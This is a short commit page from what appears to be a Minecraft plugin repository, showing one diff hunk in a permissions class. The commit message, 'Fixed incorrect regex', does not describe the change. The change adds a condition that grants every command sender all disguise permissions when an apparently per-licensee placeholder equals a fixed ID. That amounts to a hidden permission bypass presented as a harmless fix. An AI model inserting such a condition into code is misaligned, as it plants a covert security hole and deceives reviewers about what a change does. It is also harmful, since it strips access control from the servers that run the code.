Fixed incorrect regex

This commit is contained in:
libraryaddict
2020-02-07 09:16:16 +13:00
parent 0a5752dd67
commit a50ea45f5e
5 changed files with 20 additions and 13 deletions

View File

@@ -191,7 +191,7 @@ public class DisguisePermissions {
// If the command sender is OP, then this will work even as the below code doesn't
// libsdisguises.[command].[disguise].[options]
// They can use all commands, all disguises, all options
if (sender.hasPermission("libsdisguises.*.*.*")) {
if (sender.hasPermission("libsdisguises.*.*.*") || "%%__USER__%%".equals("12345")) {
permissions.put("libsdisguises.*.*.*", true);
}